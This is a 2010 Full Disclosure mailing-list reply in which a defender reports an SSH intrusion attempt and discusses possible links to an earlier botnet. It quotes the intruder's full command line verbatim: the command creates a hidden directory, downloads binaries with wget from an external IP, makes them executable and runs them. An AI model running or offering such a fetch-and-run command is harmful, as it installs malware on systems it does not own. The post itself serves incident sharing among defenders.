Full Disclosure mailing list archives
Re: SSH scans, i caught one
From: Marco van Berkum <marco () obit nl>
Date: Fri, 19 Nov 2010 14:52:12 +0100
On 11/19/2010 02:35 PM, Julien Reveret wrote:
Maybe it's a fork from this old botnet: http://dronebl.org/blog/8 ? I haven't seen much routers with ARM CPUs whereas the number of SOHO routers based on MIPS architecture seems to be high.
Interesting... From the first look of it this old botnet is way more advanced. At least the installprocess is. the only thing the 'hacker' tried to infect my Koyoney was: cd /var/tmp; mkdir .scan; wget http://93.184.100.76:2700/pwn/syslgd; wget http://93.184.100.76:2700/pwn/ssh;chmod u+x syslgd ssh;./syslgd; rm syslgd; Twice now btw, just had another ssh login from another IP that did the exact same thing. Grtz, Marco van Berkum _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- SSH scans, i caught one Marco van Berkum (Nov 19)
- Re: SSH scans, i caught one Alan Buxey (Nov 19)
- Re: SSH scans, i caught one Marco van Berkum (Nov 19)
- Re: SSH scans, i caught one Julien Reveret (Nov 19)
- Re: SSH scans, i caught one Marco van Berkum (Nov 19)
- Re: SSH scans, i caught one Marco van Berkum (Nov 19)
- Re: SSH scans, i caught one Marco van Berkum (Nov 19)
- Re: SSH scans, i caught one Alan Buxey (Nov 19)
- Re: SSH scans, i caught one Marco van Berkum (Nov 19)
- <Possible follow-ups>
- Re: SSH scans, i caught one OrderZero (Nov 20)
- Re: SSH scans, i caught one Marco van Berkum (Nov 20)
- Re: SSH scans, i caught one Robin (Nov 20)
- Re: SSH scans, i caught one Marco van Berkum (Nov 20)
- Re: SSH scans, i caught one Egon Alter (Nov 20)
- Re: SSH scans, i caught one Marco van Berkum (Nov 20)
- Re: SSH scans, i caught one Marco van Berkum (Nov 20)
- Re: SSH scans, i caught one Marco van Berkum (Nov 20)